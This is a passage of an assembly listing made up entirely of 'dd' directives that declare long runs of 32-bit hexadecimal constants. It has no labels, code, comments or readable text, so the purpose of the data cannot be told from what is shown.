0FB657234h, 0A0F42726h, 9E4571C1h dd 8B22C4h, 0C31E320Fh, 41A072D0h, 69D54230h, 0FE9FE6C6h dd 68275050h, 387F5661h, 33055121h, 896C0Bh, 0A07ED3D0h dd 3AC424DAh, 180294AEh, 721BD6A7h, 15070CE4h, 8BFF3248h dd 23A5A2D0h, 615FEAC6h, 911848E1h, 4751809Bh, 760BCD90h dd 67280069h, 21578DE6h, 84AA1B79h, 8B050C1h, 0D1E902B3h dd 8EEEC594h, 87A0DA40h, 2492181Ah, 2FA406B1h, 0CCBA0389h dd 0D4B10C07h, 0CEAEF1A0h, 73427F9h, 6912DD82h, 0C63F2CD0h dd 0D04B0081h, 71D472BAh, 813A4BBh, 180C7EB1h, 0AE5934h dd 0E5392426h, 2C724F74h, 220C7158h, 0F8030035h, 0A9041A50h dd 84003A30h, 0A5FFB9F3h, 307B78A7h, 38899A91h, 0D4009989h dd 0BD276383h, 0B1D23E02h, 188000D8h, 10C84A88h, 0BB9C60FBh dd 0FBF77920h, 83AE4710h, 0D2870500h, 0FEC74D88h, 0D601019Eh dd 0E69034CAh, 7CD9D037h, 2E009F90h, 47FDC40Ch, 93EE36h dd 18ADD2E1h, 23DB5217h, 5422D91Ch, 65557540h, 3E30C44Ah dd 0FCA418FFh, 0A8A50084h, 50DD0AB4h, 47F1BD00h, 0D5FD263Ah dd 85BA3E72h, 9A381688h, 0E4039797h, 9C218CAh, 0F2C0B5F1h dd 754680A0h, 0E01D3E34h, 48265E43h, 0A400BE17h, 7116FF4Dh dd 85BC000Eh, 22661BDBh, 75004FE4h, 0FD435A24h, 1A676h dd 0F85496C6h, 0E583A80Dh, 0ECA3441Ch, 1A361B00h, 5B39823h dd 0A874E47Fh, 97E02066h, 6000DE47h, 0BC739DE3h, 30B749Fh dd 58C86309h, 0A8F81DF6h, 2605D7B3h, 2B516235h, 2E2DE082h dd 31B2202h, 472050C0h, 9A0A3F00h, 26A261E2h, 48410029h dd 0BB1CC774h, 271F2CDh, 0F12CEA00h, 7EA87B1Fh, 0CCBF0047h dd 0ECE3BCACh, 0C02A0982h, 0E8008CF5h, 0C373524Ch, 11129A1h dd 6DF04DBDh, 0E82644B0h, 67021884h, 0B3DD7231h, 2904610Bh dd 2432DC60h, 950C0754h, 640A5830h, 793B0FDh, 40577417h dd 0DBFE8241h, 0AC07709h, 65CC23F9h, 20D28945h, 0B0E8B825h dd 785E4CC1h, 4FFEA000h, 2C3A52B5h, 0E131E00h, 848FFF5h dd 7C400A7h, 2FD4753Dh, 0C0E8665Ch, 18D1CA60h, 411BFh dd 86E1D96Bh, 0F884BD38h, 0C8FB301h, 0BF9A49A0h, 0A95034h dd 2F873A41h, 0D66AF078h, 92024578h, 52365B3Dh, 556CE8A8h dd 2616881Ch, 46883374h, 0BB438828h, 26D319C6h, 5E1F1F21h dd 99768002h, 0F83DDC3Ah, 2051D608h, 0C8B01ACAh, 15CED861h dd 80F05808h, 12F51192h, 8D009509h, 61E6DF4Ch, 51A68EEDh dd 44009C8Ah, 1E45689h, 85587B2Dh, 0DC5E29D6h, 7A0031C0h dd 0C90F49A7h, 0B62A24Bh, 106BBA5Ch, 88193C8Bh, 492C6020h dd 0A1A34240h, 4B101DECh, 48000C61h, 20AF3C22h, 7E90B45h dd 0A2CB3EDFh, 55800FA6h, 190550D1h, 330C9350h, 74DFB81Fh dd 47D43A14h, 0FA700070h, 0F1D7867Eh, 63F2004Dh, 5EC26E34h dd 0FC3A3D61h, 0C3A8811Dh, 2BC903E2h, 0CF800438h, 1994885Ah dd 5334F70Fh, 20A835E0h, 89C7E864h, 80C0742Dh, 7E89F5Ch dd 0FC26E6AEh, 1619479Eh, 1062D7F0h, 0C39A7AC6h, 576E3899h dd 69A0A6E8h, 3519670Eh, 0E842638Eh, 4FC7C0D1h, 0F0CE13BCh dd 227400C1h, 0D2411558h, 700F891h, 9F19924Ch, 0EA331A57h dd 9099087Ah, 0B0B02E9Bh, 0CF7242h, 0F351CC81h, 1B45E0D4h dd 293C2630h, 144A0E03h, 0BCEE963Bh, 9D20B102h, 30C3A767h dd 0C0AC36E5h, 4BF1C944h, 11E053A7h, 0A100E49Dh, 7DE0DDE5h dd 9900A9B7h, 500268ABh, 0A0733CBEh, 45364824h, 583833A7h dd 5DC4361h, 0DB8E3A68h, 825B8DC0h, 1E9900EBh, 95538CA8h dd 45507F1Bh, 75CE560h, 8F59C08Ch, 39EB7258h, 3580E8F6h dd 0F94D674Fh, 0A13AB1D6h, 0C8C803h, 286906Fh, 989AAF04h dd 0D0A74C25h, 1989B85Ch, 4FF37881h, 0C0C4E2C8h, 9488AE2Ch dd 0A571350Fh, 7C88B1F0h, 0ADA803B5h, 0E53430E0h, 0F44079E2h dd 96B8E894h, 3B47F900h, 0BADD98A5h, 31837812h, 3A11A3E3h dd 0C514417Ch, 38B449ABh, 6FE08020h, 0E0739938h, 79851C17h dd 95F4334h, 0AEE0F0C8h, 44FE247Ch, 0F4C07119h, 0CCEC2141h dd 13F10217h, 1140D945h, 502323E8h, 91C76C26h, 93A0700h dd 0B404B426h, 942A05BCh, 876C8CA4h, 97EE0F2Ch, 9A0CBB01h dd 50C69961h, 199E4498h, 0FC92703h, 4C64F6C0h, 57014C39h dd 3E8A8EBh, 9941E4ECh, 0B73E772Eh, 0D434E403h, 0C1D1F86Fh dd 20DE3008h, 77CB0F18h, 0D59DF500h, 7538C7FCh, 3B4BE099h dd 7B0B743Ah, 94065C31h, 600069B9h, 60AFAD1h, 76E358F9h dd 8080FFA1h, 0ADFDD522h, 14493002h, 4DF90054h, 0CD509F1Ch dd 0BEDE00E1h, 9CBFB99Ah, 0F20089E3h, 0B64A2576h, 0BB1726h dd 3A29F3F8h, 0EFEB1878h, 1F277438h, 0DD80640Ch, 7A34B868h dd 78D05891h, 3F84F1C0h, 0C53C1620h, 6C519EA7h, 0EFA587BEh dd 8310ACA8h, 1EDB5BAh, 0F05A23D8h, 9326B0B4h, 0D8D02FB0h dd 5D350Eh, 8D3C5C1Dh, 4FEEA0D4h, 74DB5005h, 1482B520h dd 5C442929h, 0E4895101h, 6DB94E6Ah, 47F55F0h, 0EEC603E5h dd 21FCA666h, 51438075h, 4C713FA8h, 0D3917619h, 0C9F05451h dd 1731788Ch, 63FF5017h, 2996903Ch, 0D2038600h, 0ACBF1224h dd 0B4770B9Eh, 85F7A6F2h, 84810204h, 0F0287A74h, 0C2291A80h dd 803E752Ah, 0E23D023Ah, 44BD8632h, 0E3AF0E60h, 0E7004207h dd 2D881D4h, 0DEA2A800h, 0C77C502Fh, 9D9300B0h, 0A5C5FD14h dd 509C23F3h, 0A5129E0h, 63E461h, 0BD47A45Ah, 28DF4BABh dd 4CDA3B00h, 4FA7C1D8h, 990401D9h, 18F0492Fh, 3441A8C5h dd 30D311F1h, 0D275F980h, 0A4213CB3h, 2AAA83Fh, 1899A003h dd 10DC5194h, 90BCC8D1h, 0B91915C4h, 11F42130h, 0A2580234h dd 60AA8108h, 0B04E11ACh, 0A6AC0F9Ch, 40027943h, 7880C0D3h dd 96F71D64h, 73AF6F01h, 5FE09538h, 0CF445F60h, 0E8CF138h dd 30592D71h, 0A04D239Ch, 0E98000D0h, 6CFBA812h, 28C8A048h dd 0B7C3E349h, 366F7900h, 0ACE55725h, 24800A8h, 1CE39633h dd 0EC31040Bh, 937329A5h, 90AE28E4h, 1A2F1C04h, 0AF55C921h dd 0A0A1D009h, 45890h, 315978A8h, 4D814532h, 6C8D043Ch dd 0F8338D4h, 8081DA1Bh, 81243625h, 2CAF0ECCh, 0DD8862E0h dd 0FAEC6BA4h, 0C6902340h, 71EAC900h, 3AE712A0h, 4BD90188h dd 29147810h, 2CE5F2BCh dd 0BDA7C684h, 80A6A045h, 32B10A90h, 917CA525h, 450292A4h dd 62D210C1h, 0EBD6014Ch, 13F34474h, 5D04C8FFh, 146103E3h dd 0A8F5D284h, 0CCE400CFh, 0DC0E1806h, 2F20785Bh, 0E61918DBh dd 0AD533131h, 80E8F411h, 0F20FAF19h, 1CD7A58h, 51A3875Fh dd 0E484823Ah, 32186A65h, 0A6A66863h, 6DA03FBh, 0FA875031h dd 4BF04003h, 0F739F79Eh, 0C07B44D3h, 704518h, 903E0958h dd 5BF6F407h, 6544CA54h, 305EF20h, 48F01FDDh, 2150F5F8h dd 0C500FE0Bh, 52A51BE5h, 9DF4D5h, 3A5DD689h, 16BE84CEh dd 6004A900h, 363D0745h, 0D981F1FFh, 6793A498h, 385EEC09h dd 0AF525500h, 751B24B5h, 6E8A3932h, 1C5A490Ah, 85641D24h dd 205C76Fh, 6DDAA50h, 0A1038122h, 8FCFADACh, 3C8D86C4h dd 0E7B7F2BCh, 0BEFF0318h, 298C3100h, 590BCE9Bh, 0C91E00B8h dd 583B6299h, 0FA00B03Ah, 0CF63105Dh, 0FDB8443h, 1C04D057h dd 0EAA9CD01h, 4872D322h, 6CF1BA00h, 0FB61D8F3h, 75B3A093h dd 0DB3E3D38h, 99598401h, 50EEA131h, 0D64CC4A4h, 0FA3B0114h dd 0C7DE00C4h, 0D80F93F4h, 0DC8D3BAFh, 0DDD23C03h, 0D1400B4Dh dd 0B70742A0h, 0D804FD83h, 9144DF40h, 6EFAA4h, 35479B57h dd 6FD52BD0h, 83088F50h, 0DC14D750h, 28068129h, 34620707h dd 6924F540h, 2A057C1Bh, 90C3FFh, 7907F036h, 248EE82Dh dd 0EBA660Eh, 1978A0EDh, 0FEF56A4Eh, 92C9E630h, 44803C08h dd 0F4039080h, 0B0ADD960h, 8B4D4607h, 4BC12D08h, 3670E8BEh dd 0D5FF3006h, 188E4C69h, 0C44DE90Eh, 0E8CCCA54h, 20078242h dd 0D9904760h, 0F6A7530Ch, 9771CDh, 0B62B8E22h, 27F37AC9h dd 41E5DB30h, 24ADFE7h, 0A2C3A102h, 0B0449283h, 0C889C703h dd 7FF6FF6h, 4660E649h, 0A11ACF8h, 75BA1000h, 4EE763A9h dd 2D1A00E5h, 466BB4DDh, 2601B6Ah, 91BA0399h, 0F98431F7h dd 9CC0FF79h, 0A4804369h, 9CD0881Ch, 2D040276h, 0CCF6614Ah dd 0A1F02820h, 91120062h, 7D1E677Eh, 4A06516Fh, 0CEF66507h dd 73921F29h, 8A5406D2h, 0ECA1A6A9h, 6C6980D6h, 0DD915D33h dd 1C4AE070h, 29C38990h, 762A00E4h, 951D1634h, 98B08601h dd 8A9A5548h, 1C1B70h, 0E401285Ch, 667250CDh, 0EE1EA34Bh dd 0D2AD9080h, 48C783B8h, 710267D1h, 356187B9h, 0A90080ABh dd 0EF8827CFh, 9930A400h, 3CF5FCDCh, 1FA300B8h, 4F9D0AE4h dd 0C500F33Fh, 0B91A88BEh, 130E173Eh, 10307C5Ch, 0C126A07Ch dd 571D8634h, 6130F9F2h, 0C7766931h, 0C9DA0062h, 69D564EEh dd 0F52E958Eh, 0FA182A28h, 12074B31h, 20C66FF0h, 0D469311Ch dd 85082891h, 0FE1C8602h, 210019C1h, 653C580Fh, 0BC6E3Dh dd 2079DD9Ch, 0F287F60Dh, 9848ECAAh, 0D1048FE0h, 90333F64h dd 0B6CD30C1h, 8E2C021Dh, 31141860h, 0C4216200h, 384C0B3Ah dd 1F1D0732h, 0B079AC10h, 0DADB0CBh, 49E7E91Fh, 0EB846029h dd 0E207CD1Dh, 0FE969057h, 0F11B3D9h, 3100DD01h, 7F444B26h dd 5D00F68Ah, 9BD2627Bh, 0FC6EB1E1h, 0A4A690h, 99E7DC6Fh dd 0C2A92854h, 0B7D72500h, 6CEF60D1h, 292F6061h, 0FC52AF43h dd 0BEA96D3Ah, 3A2180FEh, 166695Eh, 48BE007Ah, 8AA3E26Ah dd 5D7C2C98h, 4E91E005h, 0AE8144A7h, 0DB50E52Eh, 7F24966Eh dd 34570048h, 4F49702Fh, 0F100FE3Bh, 129CCE5Dh, 4C2D188h dd 40A88BA1h, 3148CD05h, 25A2ED50h, 2EF4137Ch, 25B119F8h dd 0BFD10902h, 0A0F8EBD9h, 2AC883C0h, 68AA00C4h, 0B44CE06Fh dd 5A00A56Eh, 44611BD3h, 528BF624h, 0F52CECFBh, 469440B0h dd 2F7263BAh, 0D5838B00h, 4CADA1C5h, 0C671070Ah, 7A0663Bh dd 6295F0D8h, 0D2263406h, 8A4024F7h, 1DB411C0h, 4058F0B5h dd 0D90A8533h, 0A6982F81h, 29F96Fh, 5167DB71h, 0E2FD013Eh dd 5BF41156h, 0E660646Ch, 0DF016671h, 0E1D1E75h, 0B5E4625Eh dd 0ACDE12BDh, 6F4C0913h, 74D89820h, 0E7615DA2h, 6F03758h dd 12423447h, 0F03CC4DCh, 0F0EB5530h, 435BBC0h, 7F0D5850h dd 338881Ch, 841E22Ch, 39616710h, 10F7EBE6h, 31B154h, 0B5974CC6h dd 0F2486ACFh, 3CD0F61Ch, 0BED3CB80h, 0C2E8B1F7h, 0D9673431h dd 348498B2h, 0C93C400Ah, 7E852332h, 52ED12A0h, 0A7580402h dd 607C804Ah, 367591Ch, 842B4B89h, 58D0C540h, 99FE70D9h dd 0F1774h, 14077EE3h, 0BA00D7A3h, 0ACC47011h, 3C8D313Eh dd 6601D818h, 3C01A2DBh, 0FAADE037h, 6F0E7099h, 0EB1918ABh dd 12C1C0E3h, 1ACF44DBh, 8604790h, 522FA8B9h, 2EA73E86h dd 21879213h, 87DCFF04h, 0C4511591h, 862F1400h, 24000A2h dd 1E19FA04h, 0C1F6E6AAh, 703844F0h, 0F24383C0h, 795313Dh dd 0AE3907A8h, 1D3F80DAh, 6233BD32h, 0F5E511ACh, 80028C48h dd 8FF3E686h, 0F52CC3B9h, 8A401CF7h, 69C6BBDh, 1518CD54h dd 0ED0160D9h, 8FB6C1F5h, 5C449E81h, 0E900BC8Fh, 0E2028BFFh dd 3E00C3D2h, 4A46694Dh, 82B25B19h, 85F73C81h, 634825AFh dd 0C9430720h, 54905602h, 713894Bh, 6BD2285Ah, 0D11E74F7h dd 29701D6Ch, 63E61288h, 0DC1B7401h, 0CB01309Ah, 15CF01EEh dd 11FC1C8h, 0ED19D44Fh, 6055A06Fh, 100DCA1h, 4EF2FE5h dd 0C007A567h, 5978CD50h, 6914DD06h, 80CC01A3h, 7D451641h dd 0C13F0061h, 680E79D0h, 203FCA6h, 66C5C419h, 0CE102E70h dd 124F00B4h, 5BEFE7B8h, 6D1244B8h, 9C806133h, 918FE5E6h dd 44F98768h, 68F1633Bh, 4678D9B8h, 0D680C805h, 0B444DB7Ch dd 724F75Eh, 2F0FB51Ch, 33BFBAE0h, 0A10B0B9Ah, 702C852h dd 29AC6190h, 0A0DE0FF1h, 84A0F928h, 24312759h, 0D174700h dd 4001FF44h, 5EE7A70h, 986F8C23h, 7B80CAABh, 4336B91Ch dd 0A831DE84h, 14CB10C8h, 0CC2A25E1h, 0B9008B3Ah, 19A0C281h dd 67046030h, 50C1AA1Dh, 84FAB8C7h, 108AF70Bh, 4ADE4450h dd 0DAC0404Ch, 6835E74Bh, 5C6D463Bh, 670502B8h, 66423962h dd 1FEB30F0h, 0B1BB7D41h, 0A29D5500h, 4E8638B9h, 0D874CEAh dd 9449C40h, 0EBAD2FC5h, 0E7E37400h, 870002C4h, 6F6893Dh dd 1D569FCFh, 9EA552h, 49FAA163h, 240048EDh, 0ACA483D9h dd 1A159439h, 0A9044DDEh, 0D7F08880h, 0F892F5EBh, 0A39E4300h dd 5DC50FD4h, 2754007Eh, 83124D24h, 4B0025EFh, 2C219AC6h dd 6442A4h, 0C8F997CBh, 0ACE698E4h, 5FDA5E07h, 61E4EC5Ch dd 4EB8A4h, 7E2F1BAFh, 3CA69BA1h, 314B98A0h, 0A448E889h dd 497DFDh, 0D7DA3313h, 7A6D2F32h, 0A21C200h, 904663CDh dd 0E98730F7h, 60CBCFB1h, 0D1E84F32h, 5345969h, 222B8CF6h dd 38E07BD0h, 0E0006BA8h, 0D852F5DAh, 0B0496368h, 149F4818h dd 0D7FE6008h, 59429D80h, 75FD5BA4h, 6AF7FC25h, 3FDCB183h dd 0D913F922h, 58800568h, 99A2AB9Fh, 0DA7B80A0h, 0F025BFE7h dd 5CCB8838h, 0C6E18090h, 2D097Dh, 1525D1BAh, 42179848h dd 0F1B67401h, 0AB3104A8h, 84DD4840h, 6081C305h, 2018B246h dd 6C89C550h, 212E6062h, 14FF97E7h, 3527200h, 0D9EB4837h dd 455D01BFh, 309DBB07h, 1FC62F8h, 914F0C69h, 0F840771Bh dd 0A568ADh, 853CA0F8h, 3476D815h, 80880E58h, 0F0440181h dd 14617247h, 78EAC242h, 63410174h, 0D7E57F57h, 0A2D8EC73h dd 4DA8AD48h, 3CF72834h, 4FB8CE0Fh, 88978073h, 47B57Fh dd 87263478h, 0AF9B6AC2h, 1CAD4526h, 13825C88h, 328C12CDh dd 39306FA0h, 26AC0075h, 733C8CC5h, 0CB003B8Eh, 5970300Fh dd 77660ABh dd 4EA983CFh, 2E04BFF3h, 0F6CE8058h, 0E00C7856h, 30CA88C8h dd 0EFF00ACh, 0B68BA3F3h, 489C6166h, 0E7324580h, 483CDC57h dd 0FE15B8A1h, 6500D4BFh, 11A3D727h, 3002D18h, 9DF1678Fh dd 104FAFBh, 51143375h, 0C04C4446h, 20F7AB6Ah, 0CF88DB3Ch dd 61FEACh, 72F97836h, 473B6912h, 6358CE02h, 20F4F802h dd 1ED23E9Dh, 98168900h, 7AF10927h, 62853BBBh, 0C0A7E102h dd 40E2AC02h, 70EC2C41h, 605C440h, 7966F357h, 452C817h dd 0B1F4E803h, 0A06381C8h, 0A758820h, 0C477F89Eh, 18690214h dd 1CE08905h, 663F603Ah, 0D4E91EDEh, 5EDBE080h, 0A72D969h dd 0C578119Eh, 0F9670A1Ch, 0C14F45D4h, 938190D4h, 897F788h dd 0B16A5A60h, 0DC9C0736h, 8B24FDh, 599E4BDDh, 64FF171h dd 0FE806027h, 0AFE03Dh, 633A58D6h, 32F01A5Bh, 401C2AEAh dd 82C24B8h, 0C841961Dh, 0A060C5AAh, 0CF49040Bh, 0A8F01BF4h dd 0E7F788ADh, 0D88A99C0h, 5AC4291Dh, 0EF4A8FDh, 55D99Bh dd 0BC18C592h, 0B065528Ch, 2D78DD09h, 331CD411h, 0E14B0E14h dd 30491E48h, 6CCC6850h, 0D7C13AF7h, 0E863D901h, 6421205Bh dd 0EB880C7Ch, 0A9A1004Fh, 0C7B36A86h, 0CE50AE17h, 70047FCh dd 0D1B92095h, 7E48C480h, 83689470h, 34B8D28Bh, 0E06D9200h dd 3E27ECC1h, 0F8462E5Eh, 0E8894078h, 580E8D01h, 6028104Fh dd 1A6D19B6h, 4D0E2463h, 24440503h, 16D88860h, 95DB1C00h dd 0C8E9617Ch, 0FA9128Bh, 98B08803h, 33C3F100h, 4E85D8CAh dd 4A90743h, 8BDE471Ch, 0D6BE0C10h, 4262C005h, 6098A046h dd 0EA8B335h, 0B1621C5Eh, 38E1CA62h, 0D48E1009h, 0D6F30069h dd 633B645Ch, 0C5000836h, 0A1B22A05h, 0F030C8h, 0F190068Dh dd 0CDCE3DCBh, 3A249500h, 0FF07C55Ah, 8FC4A8C2h, 83110008h dd 60396AFCh, 0FA00DD0Fh, 85EB95D7h, 0A0CC4E8Dh, 3AF6EFF0h dd 525E584h, 9147A0B0h, 6CCA2C2Ch, 85A2E500h, 116A434h dd 64A68F46h, 52E684F7h, 0C0982C90h, 0FB00FC0Fh, 910E2D66h dd 38D69294h, 0F57821h, 0B60373B3h, 4E4DB249h, 0FCA92B26h dd 0C7131B91h, 0B894089Ah, 9C1E598Ah, 9432618Ah, 0E801C180h dd 5DAD4A2h, 8A20812Dh, 0CED380BAh, 9502521Ah, 264DB1D5h dd 2B308441h, 0A4616C44h, 0D20026FCh, 95B28BAh, 0A08BF769h dd 5444768h, 0D0D3597Ch, 0A4A304h, 3E02D26Eh, 0BEA1D1h dd 35A7B8BDh, 605D07A6h, 0D7E1C200h, 78C4E001h, 51D2600Fh dd 61A2DB9Fh, 0F445A090h, 0A000472h, 82D64A25h, 4C3B18F5h dd 0BECE8057h, 2A330159h, 3265128Bh, 30B8D2F9h, 9854432Eh dd 3E8BC06Fh, 0A32F0184h, 9A9E074Ch, 80702C16h, 5F674E13h dd 0ADB504AEh, 0D129EBD9h, 81D4FF0Ch, 67E043D9h, 75F02EAFh dd 8042538Fh, 0E9E41705h, 2FC0205Fh, 0EC02D691h, 3F6E46F9h dd 141240C8h, 924F00C5h, 326906A2h, 84BC2E18h, 7D29C020h dd 0F42CF0FAh, 8AF0B714h, 0F789889Ch, 0E1204B8Ah, 1984F84Dh dd 401BEA5Eh, 54906676h, 59C91DFBh, 20F94126h, 843C10D0h dd 0F1EF4558h, 0B4420714h, 0B4002F22h, 2107E510h, 92585B2h dd 92E7F290h, 0FE61F40Ch, 1700C899h, 40289843h, 0E1476EDh dd 5E1D60D7h, 8BD10980h, 5C09AF94h, 0A1FA5652h, 0E78E8594h dd 3424108h, 0F5A11B04h, 0C6BC84D7h, 0F0C43079h, 70211784h dd 72E610FFh, 4060B630h, 0E97BDA9Ah, 94DBFC00h, 201AF244h dd 5B67E1Eh, 0EA1C5A48h, 244F1E5h, 0E620EBA8h, 7C7B58Ah dd 0D465AFD8h, 2024F92Dh, 0C33402Eh, 0EECB9Dh, 0EFD5019h dd 258E5A70h, 0B2013275h, 61900137h, 0A881CC99h, 805C1816h dd 10F4693Ch, 0F408F581h, 519FF843h, 24D78D02h, 8730683Ch dd 0CFE9C129h, 0CA3F85B1h, 53312C40h, 4F0C8B49h, 15375830h dd 33B0157h, 0AABD4768h, 17C97077h, 841F34B8h, 0FA432AE7h dd 2F97FE1Ch, 64AEF779h, 90ABAC80h, 2D00479Ch, 1E3DC18h dd 0F035BD22h, 630701A0h, 0EAC34245h, 17998F1Ch, 0BBE9C094h dd 10126Bh, 98A721FDh, 0BE838EBCh, 58DCA024h, 0B064822Dh dd 68C00DF6h, 0C2C780DCh, 2E0520Ah, 9B904660h, 0CF83E87h dd 4BA448A3h, 62B00755h, 29C70358h, 8901E6D8h, 6031163Eh dd 40F21567h, 2841DA76h, 439CDB63h, 79A03153h, 846D4ADDh dd 5AA81802h, 0D0801D44h, 8FD8ADE6h, 0A0BD3300h, 6050CB7Ah dd 88AB006Eh, 396C245h, 6C9691ADh, 32E51E40h, 1AF10907h dd 3C50ED5Ch, 587F718h, 1241D8A1h, 82F09284h, 4C1966E8h dd 322DC518h, 0E71C21BDh, 22A39EDh, 464C911Ch, 5157C141h dd 12FA8268h, 0A743886h, 5F85F780h, 89FC70EFh, 300FD96h dd 805D232h, 0ABE0ADh, 6BB826Dh, 724F872Bh, 0A4408E4Bh dd 0CE7AB6EFh, 0C499F7h, 0E512FB8Ah, 1C0127B8h, 97AE7992h dd 67D8CB6Bh, 26C47ACAh, 14302D6Eh, 95C8E80Eh, 0E989F787h dd 0EE61904Ah, 9F02A93Ch, 28F03C83h, 76B161F8h, 1CD48F00h dd 0A67D72ECh, 2F5701DAh, 0E739349Eh, 45002015h, 0B2AB3300h dd 3A89519Bh, 288E487Eh, 0F3911A21h, 26225120h, 0A6BFE6CAh dd 3BFD12BCh, 39DC0A18h, 0E46165E8h, 0CD425AD0h, 80000822h dd 0AAB1E59Fh, 0F4B8722h, 0F2D3B986h, 6E3031B7h, 0A9E30B7h dd 4D7F1000h, 23D617CDh, 738929BFh, 0E4FE45B8h, 4D006570h dd 6A8FB2D6h, 2BC22A5h, 0A757ABDAh, 0DCC08AF8h, 0C914785h dd 6C007791h, 5AA06255h, 232D50C4h, 726498DBh, 544C0012h dd 0BDA5F243h, 0AA00D882h, 7C367E23h, 82DBB06Eh, 8000F066h dd 3457E911h, 0C8C395h, 0F8CA79D4h, 66634977h, 11F2F61Ch dd 0F19F023Ah, 514DDE30h, 805C9084h, 6D48E980h, 0D2AE30F7h dd 78083261h, 4CF6F10Ch, 55F729CFh, 80424083h, 0A0FA1A4Bh dd 864AC709h, 12745889h, 0A2117FCCh, 67DD1050h, 0C0F4944Ch dd 3C208348h, 0EB114289h, 16318021h, 646715A9h, 0FDD600F1h dd 754DCEDEh, 0E2DF73Dh, 48978BBh, 0A45AA11Dh, 0B1BC9105h dd 0A4410E4h, 125C9E4Ch, 78F02933h, 0E0CE8E70h, 0EFBF7EEEh dd 11050962h, 4019355Ch, 88783829h, 0F4184201h, 0AD824479h dd 42F1BE65h, 184D16Ch, 1D738C52h, 3262CCFEh, 0F90480A4h dd 81DE3A11h, 3C616489h, 5D8C04Ch, 0F5E1A066h, 73C47285h dd 88FA9018h, 305DBE82h, 380A5F28h, 0C849A86Eh, 9DA7C10h dd 0CF20321Ah, 0BF459402h, 8C40C324h, 90180D74h, 0E4282924h dd 0D13F7102h, 790671Ah, 0BAEAEB67h, 0F33140D8h, 83735337h dd 28768071h, 0BC3ECE00h, 0B97790CCh, 634348C8h, 0F03C6E12h dd 0DCAAB818h, 6011185Ch, 7890CB25h, 5603A18Ah, 83B944F7h dd 0F8C1FCACh, 3608A9BDh, 0FE10418Ah, 0BE883508h, 1EF838A1h dd 8DE5798Fh, 16E75720h, 0E43FF0E8h, 407D850Eh, 4CD51A84h dd 915A980Eh, 0C9830572h, 2D634594h, 802428E0h, 99C7C89Bh dd 8FBA00ACh, 0FCF1F9BCh, 0B2FC8CEEh, 8BB3AD01h, 36E83253h dd 1AA7853h, 0BE81F051h, 62F688B8h, 0FC082ADCh, 0AC4010B4h dd 713D014h, 5F466DB5h, 6A0860E9h, 3102ED36h, 0B95C1BAAh dd 25C45A9h, 2844203h, 6552605Ah, 4BDD12F8h, 9742E8D6h dd 129CB822h, 0A503E446h, 50305167h, 0F73918A7h, 0A99EF9F1h dd 21D5C007h, 7F107C8Ah, 5831F42h, 9017152Eh, 0F0FC52Fh dd 8870F35Ch, 0DA6C8FB5h, 3CA80Ah, 98B8117Ah, 0AD12E08Eh dd 54048FB1h, 0C148CF95h, 0F356B780h, 0F172147h, 0BB02F74h dd 21083626h, 84A0CD26h dd 0A9C0AF20h, 0FFCAACEEh, 4DD07216h, 1B1040B8h, 444C886Fh dd 0DED34022h, 0DBC630h, 0F9A97FFFh, 94255D92h, 0E7B81702h dd 433F63DCh, 28A5E2FCh, 4E830038h, 7A056D73h, 3309B900h dd 0A67E60DAh, 11660049h, 4BD979E6h, 0E700E5B8h, 0F94546Fh dd 744A3CE1h, 0AE1F0066h, 0F9A00478h, 990BF12Fh, 113AE287h dd 0D07689A8h, 6C40DE3Eh, 0EC4F625Bh, 0E0FF4FC1h, 4083D4FDh dd 0FCDF7A1Ah, 0DCCB00B4h, 703AF3C7h, 970255AAh, 3963D591h dd 2EA09B07h, 1524C578h, 0F223CAEh, 69E8E637h, 79C57800h dd 407A00EDh, 7477BA9h, 0B8F42BE6h, 0C0613326h, 9120E420h dd 551D2DD6h, 95181C90h, 77D8C90Bh, 56C4189Ah, 0F847275Eh dd 48180868h, 45E7F000h, 0F3F6DF7Fh, 0FD64013Ch, 5C1063A6h dd 227C23C1h, 806C910Dh, 7C45DC39h, 71011F01h, 0BA8297F9h dd 99909B65h, 704400DBh, 0CDF79A4Ah, 60D090F4h, 4B7A41D8h dd 0C4B048F0h, 2AE2908Bh, 608570C2h, 49141E53h, 184019C7h dd 658483EFh, 81C421CEh, 7DC2AD98h, 0DE284CC8h, 0B87ADCC0h dd 268E5CDDh, 60B8DB29h, 0CE60301Dh, 14838F26h, 0D220A050h dd 0A858B090h, 8F27127Ah, 9D802062h, 773ED6B8h, 9272000Eh dd 0E2C29459h, 4304A961h, 0DE46FCFBh, 638C60ECh, 22E57BC1h dd 78DD84D8h, 701078A6h, 76227532h, 57D0A09Ah, 431C275Eh dd 0C8610C25h, 0F5128848h, 0A00489Eh, 0A2878632h, 44804BDCh dd 0EC6731A8h, 407888ACh, 6EE3523Dh, 5711D891h, 40881731h dd 5C820537h, 0E1885EF6h, 0F0A49E3Dh, 4F002C70h, 0FDB12272h dd 0B05CE2Bh, 0A6B3A124h, 6C064C66h, 955FC1E0h, 0AA7A1808h dd 209380D9h, 316E4484h, 1CC56628h, 83A8624Ch, 1778BA08h dd 446E43E6h, 4896D610h, 3A0480CDh, 2449B35Ah, 0B86DC213h dd 92D5BC30h, 20725EDAh, 4637BE70h, 0FF7F6304h, 0BD80E84Dh dd 0A926ADh, 0C2406103h, 2F9531E7h, 181CD805h, 64CCD95Ch dd 95B49A62h, 0F4501491h, 34007D53h, 0B571F789h, 4FE7E88h dd 7B821991h, 15F4E4F6h, 0C71D700h, 0E6F3966Dh, 703C98C5h dd 5869823Ah, 0A06000E4h, 0AD2F002Eh, 795E8FC7h, 0E70E098Dh dd 0E09B37C0h, 46501319h, 0C64032CFh, 947465B0h, 1B234E44h dd 92E5C021h, 5F8A236h, 9F95FC1Fh, 892EAC44h, 0F51D1971h dd 84E2D88Ah, 8058F658h, 0ABDC5A21h, 0B0860057h, 9E16986Fh dd 0CFE67B62h, 51C08402h, 461B69B5h, 91AD2DF4h, 1886E810h dd 9F9CDC00h, 0ED5B8E5Ah, 0FB5701ACh, 730CD3D9h, 0E148308Dh dd 48745CA9h, 0E988D7BCh, 4BFD0015h, 0D4B7CD65h, 0E0B983AAh dd 8E69C42h, 84A71090h, 0EB493579h, 89C608E8h, 1E512300h dd 6CA6EE72h, 45E116D8h, 26FC0510h, 806CD4EDh, 0BE56B310h dd 3DA8F25h, 37618Ch, 1C593D51h, 19348D35h, 0B1DF0E00h dd 0F9597A7h, 2DF20ED5h, 7600DD96h, 52C9468Dh, 0AF004B98h dd 5DE2B706h, 0CD68E1h, 62CF6E31h, 0BAD48328h, 0D6231400h dd 1C615EEFh, 0C4E9554Dh, 0F580B06Ch, 0F07BD498h, 0F6487E14h dd 3CEE2C9Bh, 453D8A08h, 90A7D7h, 